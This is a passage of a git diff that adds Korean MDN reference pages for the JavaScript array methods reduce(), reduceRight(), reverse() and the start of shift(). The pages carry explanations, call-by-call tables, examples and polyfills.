+<p>콜백의 최초 호출 때 <code>accumulator</code>와 <code>currentValue</code>는 다음 두 가지 값 중 하나를 가질 수 있습니다. 만약 <code>reduce()</code> 함수 호출에서 <code>initialValue</code>를 제공한 경우, <code>accumulator</code>는 <code>initialValue</code>와 같고 <code>currentValue</code>는 배열의 첫 번째 값과 같습니다. <code>initialValue</code>를 제공하지 않았다면, <code>accumulator</code>는 배열의 첫 번째 값과 같고 <code>currentValue</code>는 두 번째와 같습니다.</p>
+
+<div class="note">
+<p><strong>참고:</strong> <code>initialValue</code>를 제공하지 않으면, <code>reduce()</code>는 인덱스 1부터 시작해 콜백 함수를 실행하고 첫 번째 인덱스는 건너 뜁니다. <code>initialValue</code>를 제공하면 인덱스 0에서 시작합니다.</p>
+</div>
+
+<p>배열이 비어있는데 <code>initialValue</code>도 제공하지 않으면 {{jsxref("TypeError")}}가 발생합니다. 배열의 요소가 (위치와 관계없이) 하나 뿐이면서 <code>initialValue</code>를 제공되지 않은 경우, 또는 <code>initialValue</code>는 주어졌으나 배열이 빈 경우엔 그 단독 값을 <code>callback</code> 호출 없이 반환합니다.</p>
+
+<p>다음의 예제처럼 <code>initialValue</code>을 제공하지 않으면 출력 가능한 형식이 세 가지이므로, 보통 초기값을 주는 것이 더 안전합니다.</p>
+
+<pre class="brush: js">var maxCallback = ( acc, cur ) =&gt; Math.max( acc.x, cur.x );
+var maxCallback2 = ( max, cur ) =&gt; Math.max( max, cur );
+
+// initialValue 없이 reduce()
+[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42
+[ { x: 22 } ].reduce( maxCallback ); // { x: 22 }
+[ ].reduce( maxCallback ); // TypeError
+
+// map/reduce로 개선 - 비었거나 더 큰 배열에서도 동작함
+[ { x: 22 }, { x: 42 } ].map( el =&gt; el.x )
+ .reduce( maxCallback2, -Infinity );</pre>
+
+<h3 id="reduce()_작동_방식"><code>reduce()</code> 작동  방식</h3>
+
+<p>다음의 예제를 생각해 봅시다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, currentIndex, array) {
+ return accumulator + currentValue;
+});
+</pre>
+
+<p>콜백은 4번 호출됩니다. 각 호출의 인수와 반환값은 다음과 같습니다.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"><code>callback</code></th>
+ <th scope="col"><code>accumulator</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>currentIndex</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">반환 값</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">1번째 호출</th>
+ <td><code>0</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">2번째 호출</th>
+ <td><code>1</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>3</code></td>
+ </tr>
+ <tr>
+ <th scope="row">3번째 호출</th>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>6</code></td>
+ </tr>
+ <tr>
+ <th scope="row">4번째 호출</th>
+ <td><code>6</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p><code>reduce()</code>가 반환하는 값으로는 마지막 콜백 호출의 반환값(<code>10</code>)을 사용합니다.</p>
+
+<p>완전한 함수 대신에 {{jsxref("Functions/애로우_펑션", "화살표 함수","",1)}}를 제공할 수도 있습니다. 아래 코드는 위의 코드와 같은 결과를 반환합니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce( (prev, curr) =&gt; prev + curr );
+</pre>
+
+<p><code>reduce()</code>의 두 번째 인수로 초기값을 제공하는 경우, 결과는 다음과 같습니다:</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(function(accumulator, currentValue, currentIndex, array) {
+ return accumulator + currentValue;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"> </th>
+ <th scope="col"><code>accumulator</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>currentIndex</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">반환값</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">1번째 호출</th>
+ <td><code>10</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <th scope="row">2번째 호출</th>
+ <td><code>10</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>11</code></td>
+ </tr>
+ <tr>
+ <th scope="row">3번째 호출</th>
+ <td><code>11</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>13</code></td>
+ </tr>
+ <tr>
+ <th scope="row">4번째 호출</th>
+ <td><code>13</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>16</code></td>
+ </tr>
+ <tr>
+ <th scope="row">5번째 호출</th>
+ <td><code>16</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>이 때 <code>reduce()</code>가 결과로 반환하는 값은 <code>20</code>입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열의_모든_값_합산">배열의 모든 값 합산</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduce(function (accumulator, currentValue) {
+ return accumulator + currentValue;
+}, 0);
+// sum is 6
+
+</pre>
+
+<p>화살표 함수로도 작성할 수 있습니다.</p>
+
+<pre class="brush: js">var total = [ 0, 1, 2, 3 ].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator + currentValue,
+  0
+);</pre>
+
+<h3 id="객체_배열에서의_값_합산">객체 배열에서의 값 합산</h3>
+
+<p>객체로 이루어진 배열에 들어 있는 값을 합산하기 위해서는 <strong>반드시</strong> 초기값을 주어 각 항목이 여러분의 함수를 거치도록 해야 합니다.</p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulator, currentValue) {
+ return accumulator + currentValue.x;
+},initialValue)
+
+console.log(sum) // logs 6
+</pre>
+
+<p>화살표 함수(arrow function)로도 작성할 수 있습니다: </p>
+
+<pre class="brush: js">var initialValue = 0;
+var sum = [{x: 1}, {x:2}, {x:3}].reduce(
+ (accumulator, currentValue) =&gt; accumulator + currentValue.x
+ ,initialValue
+);
+
+console.log(sum) // logs 6</pre>
+
+<h3 id="중첩_배열_펼치기flatten">중첩 배열 펼치기<sup>flatten</sup></h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  function(accumulator, currentValue) {
+ return accumulator.concat(currentValue);
+ },
+  []
+);
+// 펼친 결과: [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>화살표 함수로도 작성할 수 있습니다:</p>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  ( accumulator, currentValue ) =&gt; accumulator.concat(currentValue),
+  []
+);
+</pre>
+
+<h3 id="객체_내의_값_인스턴스_개수_세기">객체 내의 값 인스턴스 개수 세기</h3>
+
+<pre class="brush: js">var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice'];
+
+var countedNames = names.reduce(function (allNames, name) {
+ if (name in allNames) {
+ allNames[name]++;
+  }
+  else {
+  allNames[name] = 1;
+  }
+ return allNames;
+}, {});
+// countedNames is:
+// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }
+</pre>
+
+<h3 id="속성으로_객체_분류하기">속성으로 객체 분류하기</h3>
+
+<pre class="brush: js">var people = [
+  { name: 'Alice', age: 21 },
+  { name: 'Max', age: 20 },
+  { name: 'Jane', age: 20 }
+];
+
+function groupBy(objectArray, property) {
+  return objectArray.reduce(function (acc, obj) {
+    var key = obj[property];
+    if (!acc[key]) {
+      acc[key] = [];
+    }
+    acc[key].push(obj);
+    return acc;
+  }, {});
+}
+
+var groupedPeople = groupBy(people, 'age');
+// groupedPeople is:
+// {
+// 20: [
+// { name: 'Max', age: 20 },
+// { name: 'Jane', age: 20 }
+// ],
+// 21: [{ name: 'Alice', age: 21 }]
+// }
+</pre>
+
+<h3 id="확장_연산자와_초기값을_이용하여_객체로_이루어진_배열에_담긴_배열_연결하기">확장 연산자와 초기값을 이용하여 객체로 이루어진 배열에 담긴 배열 연결하기</h3>
+
+<pre class="brush: js">// friends - an array of objects
+// where object field "books" - list of favorite books
+var friends = [{
+  name: 'Anna',
+  books: ['Bible', 'Harry Potter'],
+  age: 21
+}, {
+  name: 'Bob',
+  books: ['War and peace', 'Romeo and Juliet'],
+  age: 26
+}, {
+  name: 'Alice',
+  books: ['The Lord of the Rings', 'The Shining'],
+  age: 18
+}];
+
+// allbooks - list which will contain all friends' books +
+// additional list contained in initialValue
+var allbooks = friends.reduce(function(accumulator, currentValue) {
+ return [...accumulator, ...currentValue.books];
+}, ['Alphabet']);
+
+// allbooks = [
+// 'Alphabet', 'Bible', 'Harry Potter', 'War and peace',
+// 'Romeo and Juliet', 'The Lord of the Rings',
+// 'The Shining'
+// ]
+</pre>
+
+<h3 id="배열의_중복_항목_제거">배열의 중복 항목 제거</h3>
+
+<div class="blockIndicator note">
+<p>참고: {{jsxref("Set")}}과 {{jsxref("Array.from()")}}을 사용할 수 있는 환경이라면, <code>let orderedArray = Array.from(new Set(myArray));</code>를 사용해 중복 요소를 제거할 수도 있습니다.</p>
+</div>
+
+<pre class="brush: js">let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4];
+let result = arr.sort().reduce((accumulator, current) =&gt; {
+ const length = accumulator.length
+ if (length === 0 || accumulator[length - 1] !== current) {
+ accumulator.push(current);
+ }
+ return accumulator;
+}, []);
+console.log(result); //[1,2,3,4,5]
+</pre>
+
+<h3 id="프로미스를_순차적으로_실행하기">프로미스를 순차적으로 실행하기</h3>
+
+<pre class="brush: js">/**
+ * Runs promises from array of functions that can return promises
+ * in chained manner
+ *
+ * @param {array} arr - promise arr
+ * @return {Object} promise object
+ */
+function runPromiseInSequence(arr, input) {
+  return arr.reduce(
+    (promiseChain, currentFunction) =&gt; promiseChain.then(currentFunction),
+    Promise.resolve(input)
+  );
+}
+
+// promise function 1
+function p1(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 2);
+  });
+}
+
+// function 3 - will be wrapped in a resolved promise by .then()
+function f3(a) {
+ return a * 3;
+}
+
+// promise function 4
+function p4(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 4);
+  });
+}
+
+const promiseArr = [p1, p2, f3, p4];
+runPromiseInSequence(promiseArr, 10)
+  .then(console.log);   // 1200
+</pre>
+
+<h3 id="함수_구성을_위한_파이프_함수">함수 구성을 위한 파이프 함수</h3>
+
+<pre class="brush: js">// Building-blocks to use for composition
+const double = x =&gt; x + x;
+const triple = x =&gt; 3 * x;
+const quadruple = x =&gt; 4 * x;
+
+// Function composition enabling pipe functionality
+const pipe = (...functions) =&gt; input =&gt; functions.reduce(
+ (acc, fn) =&gt; fn(acc),
+ input
+);
+
+// Composed functions for multiplication of specific values
+const multiply6 = pipe(double, triple);
+const multiply9 = pipe(triple, triple);
+const multiply16 = pipe(quadruple, quadruple);
+const multiply24 = pipe(double, triple, quadruple);
+
+// Usage
+multiply6(6); // 36
+multiply9(9); // 81
+multiply16(16); // 256
+multiply24(10); // 240
+</pre>
+
+<h3 id="reduce()로_map()_작성"><code>reduce()</code>로 <code>map()</code> 작성</h3>
+
+<pre class="brush: js">if (!Array.prototype.mapUsingReduce) {
+  Array.prototype.mapUsingReduce = function(callback, thisArg) {
+    return this.reduce(function(mappedArray, currentValue, index, array) {
+      mappedArray[index] = callback.call(thisArg, currentValue, index, array);
+      return mappedArray;
+    }, []);
+  };
+}
+
+[1, 2, , 3].mapUsingReduce(
+  (currentValue, index, array) =&gt; currentValue + index + array.length
+); // [5, 7, , 10]
+
+</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<pre class="brush: js">// ECMA-262의 진행 단계, 5판(Edition), 15.4.4.21
+// 참조: http://es5.github.io/#x15.4.4.21
+// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
+if (!Array.prototype.reduce) {
+ Object.defineProperty(Array.prototype, 'reduce', {
+ value: function(callback /*, initialValue*/) {
+ if (this === null) {
+ throw new TypeError( 'Array.prototype.reduce ' +
+ 'called on null or undefined' );
+ }
+ if (typeof callback !== 'function') {
+ throw new TypeError( callback +
+  ' is not a function');
+ }
+
+ // 1. Let O be ? ToObject(this value).
+ var o = Object(this);
+
+ // 2. Let len be ? ToLength(? Get(O, "length")).
+ var len = o.length &gt;&gt;&gt; 0;
+
+ // Steps 3, 4, 5, 6, 7
+ var k = 0;
+ var value;
+
+ if (arguments.length &gt;= 2) {
+ value = arguments[1];
+ } else {
+ while (k &lt; len &amp;&amp; !(k in o)) {
+ k++;
+ }
+
+ // 3. If len is 0 and initialValue is not present,
+  // throw a TypeError exception.
+ if (k &gt;= len) {
+ throw new TypeError( 'Reduce of empty array ' +
+  'with no initial value' );
+ }
+ value = o[k++];
+ }
+
+ // 8. Repeat, while k &lt; len
+ while (k &lt; len) {
+ // a. Let Pk be ! ToString(k).
+ // b. Let kPresent be ? HasProperty(O, Pk).
+ // c. If kPresent is true, then
+ // i. Let kValue be ? Get(O, Pk).
+ // ii. Let accumulator be ? Call(
+  // callbackfn, undefined,
+   // « accumulator, kValue, k, O »).
+ if (k in o) {
+ value = callback(value, o[k], k, o);
+ }
+
+ // d. Increase k by 1.
+ k++;
+ }
+
+ // 9. Return accumulator.
+ return value;
+ }
+ });
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html b/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html
new file mode 100644
index 0000000000..07bbdb800e
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reduceright/index.html
@@ -0,0 +1,283 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+tags:
+ - Array
+ - ECMAScript 5
+ - JavaScript
+ - Method
+ - Prototype
+ - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>reduceRight()</code></strong> 메서드는 누적기에 대해 함수를 적용하고 배열의 각 값 (오른쪽에서 왼쪽으로)은 값을 단일 값으로 줄여야합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-reduce-right.html")}}</p>
+
+<p>왼쪽에서 오른쪽으로 {{jsxref("Array.prototype.reduce()")}}도 참조하십시오.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduceRight(<var>callback</var>[, <var>initialValue</var>])</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>4 개의 인수를 취하여 배열의 각 값에 대해 실행할 함수입니다.
+ <dl>
+ <dt><code>previousValue</code></dt>
+ <dd>콜백의 마지막 호출에서 이전에 리턴 된 값 또는 제공된 경우 initialValue. (아래 참조).</dd>
+ <dt><code>currentValue</code></dt>
+ <dd>배열에서 처리중인 현재 요소입니다.</dd>
+ <dt><code>index</code></dt>
+ <dd>배열에서 처리중인 현재 요소의 인덱스입니다.</dd>
+ <dt><code>array</code></dt>
+ <dd>배열 reduce가 호출되었습니다.</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code></dt>
+ <dd>선택 과목. 콜백의 최초의 호출의 최초의 인수로서 사용하는 객체입니다.</dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>누적 계산의 결과를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reduceRight는 배열의 구멍을 제외하고 배열에있는 각 요소에 대해 콜백 함수를 한 번 실행합니다.이 인수는 초기 값 (또는 이전 콜백 호출의 값), 현재 요소의 값, 현재 인덱스 및 반복이 일어나는 배열.</code></p>
+
+<p>reduceRight 콜백 호출은 다음과 같습니다.</p>
+
+<pre class="brush: js">array.reduceRight(function(previousValue, currentValue, index, array) {
+ // ...
+});
+</pre>
+
+<p>함수가 처음 호출 될 때 previousValue 및 currentValue는 두 값 중 하나가 될 수 있습니다. reduceValue에 대한 호출에 initialValue가 제공된 경우 previousValue는 initialValue와 같고 currentValue는 배열의 마지막 값과 같습니다. initialValue가 제공되지 않으면 previousValue는 배열의 마지막 값과 같고 currentValue는 두 번째 - 마지막 값과 같습니다.</p>
+
+<p>배열이 비어 있고 initialValue가 제공되지 않으면 {{jsxref ( "TypeError")}}가 발생합니다. 배열에 요소가 1 개만 있어도 (위치에 관계없이) initialValue가 제공되지 않았던 경우, 또는 initialValue가 준비되어 있지만 배열이 비어있는 경우, 콜백을 호출하지 않고 솔로 값이 반환됩니다.</p>
+
+<p>함수의 일부 실행 예제는 다음과 같습니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+ return previousValue + currentValue;
+});
+</pre>
+
+<p>콜백은 네 번 호출되며 각 호출의 인수와 반환 값은 다음과 같습니다.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"><code>previousValue</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">return value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">first call</th>
+ <td><code>4</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>7</code></td>
+ </tr>
+ <tr>
+ <th scope="row">second call</th>
+ <td><code>7</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>9</code></td>
+ </tr>
+ <tr>
+ <th scope="row">third call</th>
+ <td><code>9</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fourth call</th>
+ <td><code>10</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>10</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>reduceRight에 의해 반환 된 값은 마지막 콜백 호출 (10)의 값이됩니다.</p>
+
+<p>initialValue를 제공하면 결과는 다음과 같습니다.</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(previousValue, currentValue, index, array) {
+ return previousValue + currentValue;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col"><code>previousValue</code></th>
+ <th scope="col"><code>currentValue</code></th>
+ <th scope="col"><code>index</code></th>
+ <th scope="col"><code>array</code></th>
+ <th scope="col">return value</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row">first call</th>
+ <td><code>10</code></td>
+ <td><code>4</code></td>
+ <td><code>4</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>14</code></td>
+ </tr>
+ <tr>
+ <th scope="row">second call</th>
+ <td><code>14</code></td>
+ <td><code>3</code></td>
+ <td><code>3</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>17</code></td>
+ </tr>
+ <tr>
+ <th scope="row">third call</th>
+ <td><code>17</code></td>
+ <td><code>2</code></td>
+ <td><code>2</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>19</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fourth call</th>
+ <td><code>19</code></td>
+ <td><code>1</code></td>
+ <td><code>1</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ <tr>
+ <th scope="row">fifth call</th>
+ <td><code>20</code></td>
+ <td><code>0</code></td>
+ <td><code>0</code></td>
+ <td><code>[0, 1, 2, 3, 4]</code></td>
+ <td><code>20</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>reduceRight에 의해 이번에 반환 된 값은 물론 20입니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="배열_내_모든_값의_합계_구하기">배열 내 모든 값의 합계 구하기</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduceRight(function(a, b) {
+ return a + b;
+});
+// sum is 6
+</pre>
+
+<h3 id="이중_배열_전개하기">이중 배열 전개하기</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+ return a.concat(b);
+}, []);
+// flattened is [4, 5, 2, 3, 0, 1]
+</pre>
+
+<h3 id="reduce와_reduceRight의_차이점">reduce와 reduceRight의 차이점</h3>
+
+<pre class="brush: js">var a = ["1", "2", "3", "4", "5"];
+var left = a.reduce(function(prev, cur) { return prev + cur; });
+var right = a.reduceRight(function(prev, cur) { return prev + cur; });
+
+console.log(left); // "12345"
+console.log(right); // "54321"</pre>
+
+<h2 id="폴리필">폴리필</h2>
+
+<p><code>reduceRight</code>는 5 판에서 ECMA-262 표준에 추가되었습니다. 표준의 모든 구현에 존재하지 않을 수도 있습니다. 이 문제를 해결하려면 스크립트 시작 부분에 다음 코드를 삽입하여 reduceRight를 기본적으로 지원하지 않는 구현에서 사용할 수있게하십시오.</p>
+
+<pre class="brush: js">// ECMA-262, 5 판, 15.4.4.22의 제작 단계
+// 참조 : http://es5.github.io/#x15.4.4.22
+if ('function' !== typeof Array.prototype.reduceRight) {
+ Array.prototype.reduceRight = function(callback /*, initialValue*/) {
+ 'use strict';
+ if (null === this || 'undefined' === typeof this) {
+ throw new TypeError('Array.prototype.reduce called on null or undefined' );
+ }
+ if ('function' !== typeof callback) {
+ throw new TypeError(callback + ' is not a function');
+ }
+ var t = Object(this), len = t.length &gt;&gt;&gt; 0, k = len - 1, value;
+ if (arguments.length &gt;= 2) {
+ value = arguments[1];
+ } else {
+ while (k &gt;= 0 &amp;&amp; !(k in t)) {
+ k--;
+ }
+ if (k &lt; 0) {
+ throw new TypeError('Reduce of empty array with no initial value');
+ }
+ value = t[k--];
+ }
+ for (; k &gt;= 0; k--) {
+ if (k in t) {
+ value = callback(value, t[k], k, t);
+ }
+ }
+ return value;
+ };
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.reduceRight")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/reverse/index.html b/files/ko/web/javascript/reference/global_objects/array/reverse/index.html
new file mode 100644
index 0000000000..95b4c1a348
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/reverse/index.html
@@ -0,0 +1,87 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reverse()</strong></code> 메서드는 배열의 순서를 반전합니다. 첫 번째 요소는 마지막 요소가 되며 마지막 요소는 첫 번째 요소가 됩니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>a</var>.reverse()</code></pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>순서가 반전된 배열.</p>
+
+<h2 id="설명">설명</h2>
+
+<p><code>reverse</code> 메서드는 호출한 배열을 반전하고 원본 배열을 변형하며 그 참조를 반환합니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="배열의_요소를_반전하기">배열의 요소를 반전하기</h3>
+
+<p>다음 예시는 3개의 요소가 든 myArray 배열을 만든 후, 반전시킵니다.</p>
+
+<pre><code>const a = [1, 2, 3];
+console.log(a); // [1, 2, 3]
+
+a.reverse();
+console.log(a); // [3, 2, 1]</code></pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.1.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("javascript.builtins.Array.reverse")}}</div>
+
+<div id="compat-desktop"> </div>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/array/shift/index.html b/files/ko/web/javascript/reference/global_objects/array/shift/index.html
new file mode 100644
index 0000000000..bf610b95f9
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/array/shift/index.html
@@ -0,0 +1,102 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/shift
+tags:
+ - Array
+ - JavaScript
+ - Method
+ - Prototype
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>shift()</code></strong> 메서드는 배열에서 첫 번째 요소를 제거하고, 제거된 요소를 반환합니다. 이 메서드는 배열의 길이를 변하게 합니다.</p>
+
+<p>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><code><var>arr</var>.shift()</code>
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>배열에서 제거한 요소. 빈 배열의 경우 {{jsxref("undefined")}} 를 반환합니다.</p>
+
+<h2 id="설명">설명</h2>
+
